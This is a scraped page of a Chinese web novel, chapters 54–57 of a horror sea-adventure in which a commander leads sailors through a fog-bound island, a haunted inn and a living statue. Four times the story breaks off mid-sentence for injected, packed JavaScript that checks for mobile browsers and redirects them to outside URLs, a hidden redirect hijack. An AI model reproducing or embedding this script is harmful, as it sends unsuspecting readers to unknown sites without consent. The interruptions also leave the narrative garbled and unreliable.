海水在舱内深度已过三分之一,船身下沉了数寸,二副在疏散着其余人员到下层避难,路远寒作为长官,被优先遣送到了最安全的舱室。 周围纷纷嚷嚷,在死亡的威胁下,所有人心中都充满了浓重如雾的恐惧。 面对那滔天的巨浪,二副看得满面惊惶,不等剩下那几个水手进门,已经高喊出声:“快!关门!” 随着尖锐的金属摩擦声,厚重的舱门关上了。隐约有流血的断指落了下来,然而无人在意,他们在管理层的指挥下封闭舱盖、道门,疏通出水孔,仔细检查着各处排水装置是否正常运作。 舱室内虽然看不到外面的情况,但能撕开钢铁的潮水一波紧接着一波打在船上,他们脚下的地面都在震颤,让人头晕目眩。蒸汽管道的嗡嗡声中,有人等死般垂下脑袋,正在默然祷告,还有人焦躁地抓着舱壁,被旁边同事一拳打在了脸上,鼻青脸肿地闭嘴了。 医生第一次出海,就遇到这种极端天气,已是面色煞白,被灯光照得眼神发黑,难得流露出几分不安与绝望。 他口中低声念着什么,路远寒正戴着手套在旁边通下水管,闻言停下动作,平静地瞥了他一眼:“不,你至少不会被水淹死。” 他被橡胶手套紧裹着的小臂露出一截线条流畅的肌肉,青筋隐约搏动,显得力量感十足,在医生的角度看,这种静脉曲张本是一种病理性表现,然而在昏暗的舱室内,却极具震慑全场的安全感。 隆隆的响声还在继续,即使在最内层舱室,也能感受到船身剧烈晃动下隐藏的危险。在风暴面前,人类的力量显得何其弱小。 船员们现在只能闭上眼睛,祈祷着奇迹的降临。 片刻后,船身的起伏渐渐平息了。 随着几声尖锐的刺响,连接着驾驶室的管道打开,船长疲惫的声音从内线通话传来:“已经过了雷暴区域……预计一个小时后登陆,大家可以撤出来了。” 话音落下,激起了沸腾的声浪。 靠近外围的船员已经去开舱门了,但路远寒并没有动,他仔细辨别着,确认船长的声音没有异常,不像是被感染或寄生的情况,才跟着汹涌的人潮走了出去。 茫茫海面上,那些漩涡般汇聚的雷云消失了,但涛声翻涌,船板上仍然留下了大片黑水侵蚀的痕迹,显得格外湿滑。 路远寒走在舱板上,绕开被卷到船上的一地小鱼,登上高处,用瞭望台观察着前方区域。 他看到了远处的小岛。 迷雾如幽灵般萦绕在这座神秘岛上,浓重得犹如无数围拢的面纱,隐约露出岛身嶙峋而庞大的一角,与海雾交融,仿佛一道无法逾越的屏障。陆地边缘上似有无数幽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13466125|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 影徘徊,看上去危险重重,路远寒放大倍数,观察了片刻,判断那是雾气构成的影像。 这是一片没有在地图上标识出的未知区域,想要上岛探索,势必要付出沉重的代价。 船只在浓雾中颠簸前行了片刻后,终于抵达了这片荒凉之地。只是探照灯范围有限,直至快要上岛,水手们才发现有废弃的港口可以停靠。 那些码头证明着这座岛上曾经有人类活动的痕迹,然而现在只剩一片死寂,腐朽的栈桥在潮水侵蚀下嘎吱作响,幽幽敞开怀抱,海鸟盘旋,随着几声凄厉的鸣叫,将船只迎进了港口。 在船长的指挥下,巨轮缓缓停靠在了码头边上。 为了搜寻食物,船上寥寥无几的机动人员组成了一支探索队,由路远寒作为领队,率领一行七人前往岛上,医生等后勤人员则留在了船上。 路远寒提着武器箱,检查好照明设备,在船头上纵身一跃,率先落在了地上。 在浓雾之中,探索队每人前后保持着大约三十厘米的距离。作为领导者,路远寒能够最大程度上维持理智,负责校准时间,他要求每隔十分钟就报一次数,确保没有人走失,也没有怪物混入队伍当中。 “吱吱……” 一只老鼠从他脚下窜了过去。 银制飞刀甩出,将扭动着的鼠身钉在了地上。路远寒收起武器,将那只老鼠提着尾巴拎了起来,在灯光下观察几分钟后,逐渐松开了眉头。它体型偏小,毛色灰黑,并没有明显的畸变,说明他们目前探索的地带应该不会潜藏着太大的危险。 “长官,我们接下来往哪个方向走?” 背后有人打断了他的思考。 路远寒回头望去,那是个头戴方巾的水手,目光炯炯地望着他,似乎并不觉得自己开口有什么不妥。在其他人都不敢出声打扰指挥官的时候,他率先提出了问题,显然有着不同寻常的勇气。 “你叫什么名字?” “杰拉尔,长官。” 正当所有人以为这个愣头青要领枪子的时候,路远寒伸手感受了一刻风向,随后指明了他们要前进的方向:“很好,杰拉尔。你去队尾清点人数,保证我们的安全,遇到突发情况就及时报告。” “好的,长官!” 经历了这一个小插曲,队伍内的氛围有所缓和。 随着他们深入小岛,众人逐渐发现了文明的遗迹。一座又一座破败的建筑从雾气中浮现,街道空旷而幽邃,像是无人居住的城镇。房屋的门锁倒是不难破坏,只是搜寻过后,他们并没有找到食物或水源,反倒补充了一些能用到的工具和燃油。 路远寒的脚步略显沉重,再这样下去,恐怕要带着他们打猎了。 继续前进了四十多分钟后,他们穿过废弃小镇,发现镇后有一大片墓地。这片区域应当是小镇所属的公墓,死气极为浓重,探索队走在小径上,无数坚硬的石碑分列两侧,干瘦的枯树、雕像、十字架处处可见,稀薄的雾气缠绕在墓碑表面,显得冰冷而苍白。 只是不知为何,那些墓都是敞开的,棺盖不翼而飞,就仿佛里面的尸体走出来了一样。 55. 黑帆暗涌(6) 石碑上的铭文一字一句镌刻得极为清晰,为死者进行着祷告,墓主却不知所踪,只剩下无数黑黝黝的坑洞,在背后悄然注视着他们,实在是让人毛骨悚然。 几名船员已经出了满身冷汗,警觉地打量着周围,仿佛地上随时都会伸出一双僵冷的死人手,将他们拖进墓地似的。 路远寒走在前面,倒是不见有一丝一毫的慌乱。他默数完这片区域的墓坑,心中有了概念。 但那些尸体去了哪里,是不是死而复生了,其中的关键信息还没有搜集到,并非他们现在就能弄清楚的。 阴风忽起,将那些雾气吹散在他脚下,又重新聚拢成了一张似哭又笑的脸。 路远寒扫了一眼,不为所动地走了过去,幽怨的雾气在重靴踏地下消散得无影无踪,湿漉漉似一滴未尽的泪水浮在了他的鞋尖上。那张脸并不能让他心生恐惧,甚至还没有他本人长得像怪物。 他的步伐沉重有力,每一下都带起微微震响,为身后跟着的队员提供了前进的路标。 片刻后,几人顺着小径走到尽头,看到了墓地后方茂密的树林。浓雾掩盖着的桦树多数已经枯死,留下手指一样的枯枝,而枝头上盘旋着几只黑鸟,在高处凝视着几名深入岛屿的探索者。 路远寒一边提着灯,一边拨开拦路的枝条,好在这片树林并不深,否则他就要考虑返程的事了。 越过这些死去的怪树,竟然到了绝壁,只见路面在他们脚下凭空而止,底下海浪翻涌,深不见底的沟壑横亘在此,将小岛拦腰劈断,前后分成了两片区域。 海风席卷,雾气倏然散去,露出了中间那道陈旧的铁索吊桥。 众人定睛望去,发现用于铺桥的木板缺了有两三块,拴着吊桥的链条则在风中浮晃,锈迹斑斑,看上去随时都有断开的风险。 事已至此,他们也只能小心翼翼地走了上去。望着脚下的千丈深渊,每一步都走得格外谨慎,路远寒在前面探路,后方的队友负责替他打好照明灯,不至于让他踩空。 “啊——” 忽然有人脚下一滑,惨叫着坠了下去。 刹那间,路远寒拧转身体,朝下方抛出钩爪,那金属吊索像蛇一样缠在船员腰上,紧接着他收紧手臂,将人拉了上来。 那人有惊无险地走了一趟鬼门关,肾上激素飙到了顶点,脉搏仍在狂跳,正四肢瘫软地靠在路远寒身上,才发现指挥官的怀抱中有着一股淡淡的烟草香。 没想到这位心狠手辣的长官,竟然也抽罗刹草…… 考虑到这名队员现在虚弱无力,难以行动,路远寒直接将他扛了起来,另一只手紧攥着铁索,用万分审慎的态度检查着脚下状况,极为稳重地朝前方走去。 好在剩下的路没有出什么问题,探索小队一行人保持谨慎,很快就到了对岸。 路远寒虽出手救下了那名队员,钩爪却将他腰上勾出了一个窟窿,伤口深可见骨,正潺潺流着鲜血,甚至将他肩膀也浸得通红,必须得及时治疗,再拖下去只有死路一条。 “忍着。”路远寒下达了命令。 他从手提箱中拿出药膏、纱布,指节如刀一般撕开队员的衣服,熟练地处理着伤口,手法就外伤而言,比起专业的医护人员也差不到哪里去。 指挥官的命令,没有人敢不遵从。 剧痛感从腹部袭来,那队员承受不住路远寒手下动作,只能将注意力全部放在了他的脸上,这还是第一次有人近距离观察到西奥多长官。 垂下的发丝滑在了鼻梁上,他的皮肤极白,流露出一种未经海风侵蚀的细腻,眼睛则透着非人的冷峻,顺着睫毛往下,却被金属阻挡了视线,不由得想窥探那具笼嘴下到底有着怎样一张脸。 队员心中产生了揣测,难道长官在上船前,是被贵族包养的小白脸,因为得罪了高层,才被发配到海上来…… 他会这样想,是因为这种事在海上并不少见,之前船上就载了个吟游诗人,只是他空有容貌,却没有震慑旁人的手段,那诗人曾经试图搭上某个海盗,最后的下场相当惨烈。 “好了,接下来不要碰到伤口。” 撕裂般的疼痛让他回过了神,路远寒指节掠过那处血肉模糊的皮肤,将他的伤口包扎好,就起身走了。 探索小队整顿后继续前进,很快他们发现,在吊桥对面赫然是一座旅馆,那座建筑物被浓雾掩盖着,在另一侧看得并不清楚,而里面竟然有人,隐约露出了黯淡的灯光。 “保持警戒。”路远寒让小队成员拿起了武器。 他们持枪靠近,警惕着浓雾中潜藏的危险,然而一路走到敞开的门前,也没有怪物袭击,只有个眼尾挤着细纹的女人靠在旅馆的柜台上,见几人到来,微笑着问了一句: “先生们,住旅馆吗?” 在这座被遗弃的神秘岛上,黑暗弥漫,蓦然出现一个美丽的异性,属实情况诡异,就连她是不是活人都很难确定。 路远寒微妙地打量了她片刻,斟酌着开口问道:“您是这座岛上的居民?” 看到女人不在意似的随便点了点头,并没有表现出敌意,他又问了一句:“打扰了,我们来的时候发现前面小镇废弃了,请问您知道是怎么回事吗?” “啊,你说那个呀……那都是十几年前的事了,岛上有会袭击人的猛兽,之前闹得很严重,死了不少人,搞得人心惶惶,所以大家都搬到了这边来,相对安全一些。” 随着话音落下,女人撇了撇唇,示意他们从窗户往外看,那里确实有一片新建的居民区,灯光之下,隐约能看到人影走动。 “不过镇上比较排外,只有我们一家旅馆招待外来人,平时都是镇民们在这里住,你们想去其他地方借宿会很困难。” 老板娘打了个哈欠。 在岛上住旅馆并不在路远寒的计划之内,他简要地说了来意,向老板娘请求购买食物,不出意外地碰了个钉子:“抱歉,食物这种东西很宝贵,我不能免费提供给你们,购买也不行,除非你们留宿,我们家的晚餐可是镇上一绝。” 路远寒发现,一提到食物,队员们的眼神已然有些幽绿。 他思考片刻,派了两个人返回岸边通知船上的人,将事情交给船长决断,自己则拿出几片金叶子,在旅馆开了三间房,随即享受到了老板娘口中所说的晚餐。 老板娘为他们提供了一顿丰盛的晚餐。 除了香煎三文鱼、烩羊肉以外,还有海鲜浓汤,炙烤过的香气从肉排表面溢散而出,微焦却不油腻,瞬间勾起了几名船员的食欲,没等坐下来就已经叉起了一块羊肉往嘴中塞去。 路远寒持刀坐在旁边,目光幽深地看着队员们狼吞虎咽。 根据他的直觉,这些食材确实没有问题,但老板娘的善意本身就值得怀疑,既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13482539|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然没有船队从这座未知小岛返航,在地图上做出标记,就证明了它不可能像表面上一样风平浪静。 “长官!您也试试吧,真的很好吃啊……” 杰拉尔打了个嗝。 在队员的极力劝说下,路远寒还是放下屠刀,尝了一口汤,发现这道浓汤炖煮得很鲜美,入口即化。对于在海上漂泊的人而言,像这样热气腾腾的食物确实是一种难得的美味。 他象征性地吃了几口,起身从前面柜台拿到房间的钥匙,又回来分发给了下属们,他自己单独一间,剩下的队员两人一间。 就在这时,一阵沉重的脚步声从楼上传来。 那声音相当怪异,绵延不断地起伏着,仿佛有无数人在贴着地板缓慢地行走,还伴随着一下一下的拖行声,被带着的重物似乎没有活性,除了那阵窸窸窣窣的响动,偶尔还有尖细的摩擦声,又像是另一种材质发出的。 路远寒面色微变,正要让队员警戒,然而那声音到了近处,又凭空消失了。 从楼梯上探下来一张面相和善的脸,是个年轻男人,打量着他们几个外来人,朝下面点了点头,又微笑着收了回去:“老板娘,来新客人了啊?” 据老板娘所说,那是镇上的神职人员,同样是一位暂住旅馆的客人。路远寒保持着怀疑,他们走上二楼,看到了正端着水盆往进走的牧师。 牧师友好地和一行人打了招呼,就进屋关上了门,并劝他们保持安静,说外面有大家伙在猎食,最好不要引起那些怪物的注意。 “对了,不要让别人进入你的房间。” 他补充道。 路远寒眉头紧皱,迅速打量着周围的环境,刚才听到的一切动静仿佛只是幻觉,楼道里没有人,也没有重物被拖行的痕迹。灯光顺着靴子落在地毯上,让那些铺在脚下的绒毛显得美丽而生动,盘错的花纹微微起伏着,就像一张又一张雕刻细致的人脸。 他能感觉到,每一扇门背后都有人,都有细微的呼吸,但走廊里格外幽静。 灯火黯淡了下来,小队顺着房间号往里找,两脚走在地毯上摩擦出沙沙的声响,在那无边的漆黑中似有浓雾笼罩,带着一股海水的气息,显得阴冷而潮湿。 路远寒正思考着。 老板娘说,因为猛兽袭击,镇民们才搬到了这边,但按照牧师的说法,他们现在所处的区域同样有怪物游荡,这让他感到了矛盾。 事实上,他对两种说法都持怀疑态度。 第一,小队探索的过程中并没有见到什么猛兽,真实性有待确认,第二,在没有亲眼见到所谓的怪物前,牧师的话也不能尽信。 路远寒又提点了队员几句,就走进自己的房间,反手将门锁好。他从风衣下拿出玻璃瓶,那怪物仍然活着,蜷缩的触手不时颤动一下,似乎在透过玻璃注视着他,黏滑的表面浮现出怪异的隆块,像是做出了一个微笑的动作。 “哈哈……这里同样有可疑的气息,你竟然就这么住进来了!” 怪物嘲笑着他。 不用提醒,路远寒也知道情况诡异,但他在柜台下看到了一件东西,才决定进来探寻真相。 那是个有机械锁的手提箱,被放在隐蔽的角落里,锁身结构复杂,用的并不是小岛的工艺,证明着最近有其他人到过岛上,很可能还住进了这一家旅馆。 什么人会登上这座神秘岛? 56. 黑帆暗涌(7) 路远寒放下武器箱,没几步就走到了窗边。 窗沿上遍是年久失修的痕迹,关节处磨损严重,有些地方甚至锈住了。他用力推开窗户,在外面看到了无数个庞大的黑影,它们就像行走的肉瘤,嘴下有着极长的獠牙,正拖着几条长臂,在灰白的浓雾之中游荡。 那是什么?路远寒瞳孔骤缩,迅速关上了窗户。 “咚咚……”有人敲响了门。 路远寒瞬间变得警惕了起来,他放轻脚步,悄无声息地摸到门边,锯肉刀在手上等待着一场猎杀。敲门声停顿了片刻,随即传来了杰拉尔的声音:“……长官?” 他侧身透过门缝看到,满面疑惑站在门前的人确实是那个年轻水手。 杰拉尔没有得到回应,又开口了,那声音略显迟疑,带着一分无法掩盖的恐慌:“长官大人,我发现……回不去了,这里的楼梯好像没有尽头,无论怎么走,都下不去一楼,我们被困在了这层楼里。” 话音落下,引起了路远寒的深思。但他并没有忘记牧师的警告,冷淡地应了一声,让杰拉尔先回去。 门外的人寂静了一会,那阵呼吸声隔着门板变得粗重、急促,路远寒站在玄关,似乎能感觉到背后的视线,直到他保持耐心,靠脉搏的律动默数了六百秒,走廊上才传来了渐渐远去的脚步声。 外面的人是杰拉尔吗?还是说发生了什么不为人知的异变? 路远寒还无法得出结论,他从狭窄的缝隙内伸出一把飞刀,从刀面上确认走廊里没有东西,才打开了门。 他从怀里拿出了刚才在登记册上顺走的一页,根据墨迹干涸的程度,路远寒判断除了他们几个,还有个住在四层的用户是最新登记的,他要上去一探究竟。 柔软的地毯包裹着他的长靴,让路远寒的动作轻盈了不少。 想到杰拉尔的话,他的心情顿时沉重了下来。无论对方有没有异常,他都要验证那个出不去的说法。 路远寒站在楼梯口,顺着一级一级台阶径直往下走,走到尽头,看到的又是盘旋的楼梯,无论再下多少层,仍然停在二楼,似乎有一种神秘无形的力量在阻拦着他找到通往外界的出口。往上走倒是能看到三楼的标识,路远寒心下有数,简单扫视了一圈走廊,又去了四楼。 没经过几扇门,他就看到了403的门牌。 他将攥紧的纸页收进口袋,做好交涉的准备,屈指敲门,却无人应声,就像杰拉尔站在他门前一样,咚咚的声音在走廊里激起了回响。 什么情况? 路远寒察觉出了事情的诡异,他等待片刻,又敲了一次,仍然没有人开门。 正当他打算使用暴力手段撬锁的时候,那阵沉闷的拖行声忽然从走廊上响起,刷着地面一般簌簌,簌簌地朝着他缓慢靠近。路远寒感到了毛骨悚然,顿时拉开旁边的一道空门闪了进去,抵着墙将门关上。 “嘻嘻,你不好奇吗?那是什么……” 怪物幽幽地问了一句。 经过刚才的遭遇,路远寒的神经还保持着高度警惕,听到这句话,他竟直接打开玻璃瓶,绷紧的指节将触手用力一拧,将它的血肉都拧得纠缠不分,在他指下传出撕开软骨的声响,怪物顿时闭嘴了。 路远寒平息了怒火,控制住呼吸的轻重。 那声音越来越近了,近到他眼前浮现出一颗人头被拖在地板上,面朝下发丝散乱的模样,马上就要走到门前,用充满血点的眼睛从缝隙里窥探房间。 仅仅隔着一扇门,那未知的存在停顿了片刻,似乎又走远了。 路远寒这才恢复呼吸,无视了瓶中挤眉弄眼的怪物,查探起他躲藏进的地方。客房的构造与下层没有太大差别,只是在盥洗室里有一具尸体,似乎刚死不久,眼睛还惊恐地睁着,从他随身携带的物品来看,应该属于那个外来人。 检查到这里,路远寒停顿了一下。 他还没向证人问话,没想到对方竟然死了,线索戛然而止……但问题是他登记入住了403,为什么会死在隔壁房间? 路远寒收起疑惑,继续着搜尸的工作。他从死人身上搜到了枪支、罗盘、上紧发条的机械信鸟,以及一张藏在掌心里的纸条,上面的字迹已经模糊不清,写着一个晦涩的单词:神…庙。 神庙,路远寒眉头一挑,听上去像是某处的地名,难道死去的那人就是为了神庙而来,在几天前登岛,最后却莫名其妙地死在了这座旅馆中。 他将纸条折好,重新放进尸体手中,忽然听到了门页摩擦的声音,像是隔壁有人打开了门。 路远寒没有犹豫,悄无声息地溜了出去,在对方即将关门的刹那,用刀身卡住缝隙,硬是将那人拦了下来。他反手推开403的门,看到了和尸体如出一辙的面庞——就在刚才,他亲自替这具死尸盖上了眼皮。 房客被他打断行动,倒也不显得恼火,只是面无表情地指了一下走廊:“……回到你的房间去,马上到十二点,要查房了。” 查房?路远寒灵感一闪,倏然松开了手。 虽然他们入住的时候,老板娘没有说过会查房,但是看这人的忌惮程度也能猜到,要是被发现不在自己的房间里,恐怕会发生什么不好的事。 趁房客还没有闭门谢客,他抓紧问道:“神庙在哪里?” 房客面色骤变,怀疑的视线落在了路远寒身上,似乎难以置信会从一个陌生人口中听到他所掌握的重要信息:“你怎么会知道神庙,难道你也是来找那东西的?” 就在这时,一声接着一声悠扬的钟鸣贯穿了走廊,房客顿时缩进屋内,重重关上了门。 糟糕,十二点了! 路远寒当即反应过来,他在走廊上飞掠而过,匆忙翻身下楼,赶在最后一声钟鸣前重新落在了二楼。他视线极快地扫过拐角,看到正有一道幽长的影子提着灯缓慢走上楼梯。 他拧动钥匙,极为顺畅地开门,锁门,回到房间内。为了保险起见,路远寒甚至躺在床上,将自己的呼吸频率调整到了睡眠状态。 不一会响起轻柔的敲门声,老板娘那含着笑意的声音隔着门板渗透了进来:“……客人?” 路远寒面不改色,正思忖着要不要开口,老板娘却徘徊一阵就离开了,听上去像是去查下一间房了。指节仍温热地抵在掌心,他却不禁感到透骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13495956|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生凉,门都没有开,也无人应声,她是怎么确定里面有人在的? 思考片刻后,路远寒冷静了下来。 他想得很清楚,凌晨十二点的查房看似危险,其实是离开旅馆的关键。 他和杰拉尔单独离开时,通往下方的空间成了无尽重复的楼梯,将房客们围在了旅馆中,谁都不知道何时才能离开。 但老板娘不同,她既然能从一楼走上来,那应该也能回到一楼……这或许就是出去的机会。 走廊中潜藏着无数危险,但继续留在这里,只会增加发生意外的可能性。路远寒并没有坐以待毙,他熄灭灯光,将后背紧贴在靠近楼梯口的墙上,和浓重的阴影融为了一体,等待着老板娘从楼上下来。 “哒,哒哒……” 轻缓的脚步从楼上走了下来。 路远寒用余光打量着落在地毯上的影子,随即闪身掠了出去,潜伏在老板娘背后,每一次落下都重合在她的脚步声里,一步、两步……跟着她走下十三级台阶后,带着海盐味的浓雾袭来,果然回到了一楼。 灯光嗡嗡地闪烁着,昏黄地倾洒下一片,照出了两张他熟悉的脸庞。 路远寒停了下来,杰拉尔和他同房的队友正坐在餐桌前,像正常人一样低头品尝着海鲜汤。 仿佛察觉到了他的视线,杰拉尔抬起头,扬起嘴角朝路远寒笑了一笑,开口解释道:“长官,您也知道,大家在船上饿得太久了……刚好老板娘来查房,我们问还能不能再吃一顿,她就让我们俩下来了。” 他边说边喝着汤,哧溜一下烫到了舌头尖,颇有些羞赧地捂着嘴,似乎很不好意思在长官面前出糗。 路远寒将目光转向了老板娘,她正哼着一种低沉而诡异的旋律,听到他问神庙在哪里,霎时间转过脑袋,视线幽幽盛着黑水似的望着他: “让客人失望了,我没听说过什么神庙,不过镇上有一个祭祀的地方,穿过这片建筑区,到最高的那个海角,就能看到它了。” 她咬字的声调轻描淡写,像一把细长的刷子,钻进了路远寒的耳膜。 浓雾中似有暗影闪动,路远寒掌握了关键情报,便不再打算停留。他走到杰拉尔面前,屈指敲了一下他们的桌子,还没有下达命令,老板娘就在背后笑盈盈地问客人也想吃吗,厨房还有。 路远寒直接谢绝了她的好意。 至于剩下两名队员,杰拉尔说他们似乎睡得很沉,无论怎么敲门都叫不醒,只能由三人临时组成一支小队,在夜幕中走出了旅馆。 路远寒回头望去,黝黑的窗户上似乎浮现出了一个又一个面无表情的脑袋,其中有牧师的、外来人的,还有许多无名之辈的脸庞紧贴着玻璃,如同铺开的人皮,颤动着发出窸窸窣窣的声响。 “长官,派遣回岸边的队员还没有回来……” 杰拉尔隐隐忧愁道。 路远寒一边领着队员往外面走,一边不着痕迹地观察着两人。就目前而言,这个杰拉尔看上去没有异常,不仅会呼吸,面露紧张,顾虑船上的情况,就连体表都散发着温热的气息。 要说这是一个怪物,未免也显得太鲜活了。 57. 黑帆暗涌(8) 从旅馆走出之后,那阵雾更浓了。 考虑到派遣回岸边的那两人还没有音讯,路远寒又带着杰拉尔和另一名队员返回了悬崖边沿,却发现吊桥被浓雾笼罩着。那股湿漉漉的水气像海幕一样掩盖了晃动的踏板,目光所及,只有冰冷的雾色,即使他们手上提着照明灯,也无法在其中穿行。 路远寒面色微变,转身朝着深处走去。 他们被隔绝在了后方小岛上,隔着浓雾,谁也无法确认对岸同伴的情况,但这雾气不知道何时才会散去,绝不能停留在原地。 他保持着那副属于指挥官的冷峻态度,向队员们下达了命令:“我们去探索那座神庙,在路上继续搜寻食物,要是三小时内没有到达目的地,就返回旅馆,带着剩下两名同伴返回船上。” 两名队员都点头称是,僵硬的面色稍有缓和,在这座充满危险的神秘岛上,路远寒成了他们唯一的依靠。 灯光在雾气吹拂下显得微弱了许多,只能照亮脚下的一寸范围。 为了不在浓雾中走散,路远寒拆下风衣腰带,将那段绸布拴在彼此的手腕上,绑得极为结实,每个人的一举一动都牵连着前方队友的脉搏。 黑暗中似有幢幢幽影,从几人身边悄无声息地掠过,缠绕着他们逐渐一片冰冷的指尖。想起在窗边看到的巨大怪物,路远寒面色沉重,并不知道它们是靠光源还是声音辨别其它生物的存在,还是按照牧师的指示,压低了脚步声。 “呼…呼……” 寂静中只剩一阵此起彼伏的呼吸声。 倏然,灯光灭了下去。 骤然到来的黑暗让他们呼吸一重,慌乱中只听到衣物摩擦的窸窣响动。心跳飙升、脉搏加快……就连换气的频率也高了不少,路远寒判断出两名队员的状态,擦亮小指上的尾戒,幽然荡漾开的冷光打在他脸庞上,微微起伏,让那双眼睛看上去折射出了一点寒意: “保持理智,要是在这地方慌了阵脚,就是自寻死路,我是不会替一个死人收尸的。” 随着话音落下,他绷紧的指节在武器袋上摩挲敲动,两名队员顿时噤声,压制着内心的恐惧。没有人敢违抗他的话,船上如此,在岛上也是一样。 镇压下队员的情绪,路远寒就不再多说,向着神庙的方向继续前进。 在这座充满雾气的遗失之地,倒还有一两处路牌为他们提供着指引。黑暗溢散而开,他们走在浓雾中,就像置身海底,顺着脚步留下一路浸透水色的痕迹,只有路远寒手上的戒指散发着微光,照亮了前方两米的距离。 不知从何时起,他们眼前所见的一切变得诡异了起来。 到了灰雾深处,不时能看到路边的遗骨。 那些死去的人面容恐怖,眼中隐隐流露出绝望与癫狂,尸体随意抛在地上,多数只剩下一条鲜血淋漓的腿,或者几根断指,他们的血肉似乎被怪物撕咬吞下,小镇也成了猛兽横行的屠宰场。 路远寒不禁产生了疑惑,搬到这种地方来,真的能活下去吗? 在这种情况下,他仍能保持强大的心理素质,但队员反应就不一样了,他们还很年轻,即使在海上也没有见到如此惨烈的景象,当即捂着嘴到旁边吐了出来。 路远寒不得不停下脚步,给两人留出缓和的余地。 “这……太残忍了,镇上的人完全抵抗不了那些怪物,难怪没有船队成功探索过这座小岛。” “像这种危险区域,至少是二级警告,我们能回去的话,得在地图上做个标记。” “别说了,有长官在,我们一定能回去的。” 两名队员的低语声从背后传来,路远寒背朝他们,正观察着附近地带,靠着银戒的光看到了一座雕像。那名守卫雕刻得高大威猛,持剑而立,看上去就如圣骑士,只是面部掩盖在漆黑的头盔下,显得幽深而晦暗,凭空多了一丝难以言喻的诡异。 在路远寒看来,这座雕像很眼熟。 他在旅馆眺望时,将小镇的地貌大致记了下来,而守卫雕像就是其中一个极为显眼的标志物。按照那时所见,他们应该走了有三分之一的路程,再有不到两小时,就能抵达岛上海拔最高的一角。 就在这时,明显带有颤抖的声音响了起来:“……我怎么感觉,这雕像似乎在动?” 路远寒猛然抬头,银光闪烁,被无形的雾气缠绕着全身,很难从雕像面上看出神情,但毋庸置疑,它正用一种微妙而充满恶意的态度打量着脚下的人类,仿佛要将那庞大的身躯倾轧而下,将他们碾成血漉漉的死肉。 “它…它的眼睛!”杰拉尔惊道。 惊叫像是一道解除封印的魔咒,话音刚落,簌簌的石屑迸裂,狂风骤起,随着重铁震地的脚步声,守卫从底座上缓慢走了下来,从盔甲下渗出阴毒的视线。雕像猩红的眼中杀意毕现,脚下越来越快,越来越狠,双手拖着铡刀疾行,朝他们隆隆地追了过来。 “别散开,跟着我走!”路远寒喝令道。 被那巨大雕像追赶着,三人顿时奔跑了起来。 在外界施加的高压刺激下,正常人很难保持冷静的思考,但前方那道身影毫不犹豫,每一次拐弯、下令都精准地避开追杀,他们只要跟着长官的指令走,就不会被那恐怖的雕像追上。 铡刀携着重重怒火砸下,扬起一地金属摩擦的火花。 浓雾之中,隐藏着无穷的杀机,只需要弥漫到脚下,就能让一切活着的生物消失得无影无踪。 路远寒回头望去,刚才逃亡的时候系带断开,队员走散了一个,只剩了杰拉尔跟在他旁边。年轻的水手满面大汗,正用双手扶着膝盖,急切地喘着气,像是因为那阵飞奔而体力透支了。 银蛇般的戒指盘在他指根下,幽幽照出从杰拉尔鼻尖上淌下的一滴汗水。 好在这名属下很识大体,没说要停下休息,只是平复了片刻呼吸,就跟着他继续往雾气深处前进。路远寒保持着警惕,手下的武器蓄势待发,随时都能凌厉斩出,忽然一声惊呼传来:“长官!” 说时迟,那时快! 杰拉尔腰上被一只漆黑的兽爪缠住,肉瘤似的怪物从雾中浮现,将他朝着后方的血盆大口拖去。 路远寒毫不犹豫,侧身闪了出去,他脚下步履如剑,随即杀到肉山面前,这一刀下去骨裂声起,兽爪落地,迸溅的黑血倾洒在刀柄宝石上,让那颗殷红晶体散发出了极其耀眼的光辉。 指尖惹上的血痕仍在蠕动,路远寒视线向下,丝丝缕缕的黑气顺着握刀的手臂缠绕而上,似乎流进了他的血管里,随着每一次呼吸而融进体内,让他感受到了和灰白浓雾之间的联系。 这雾气果然是活着的…… 路远寒面色凝重,刚劈断一只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|13518794|136825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 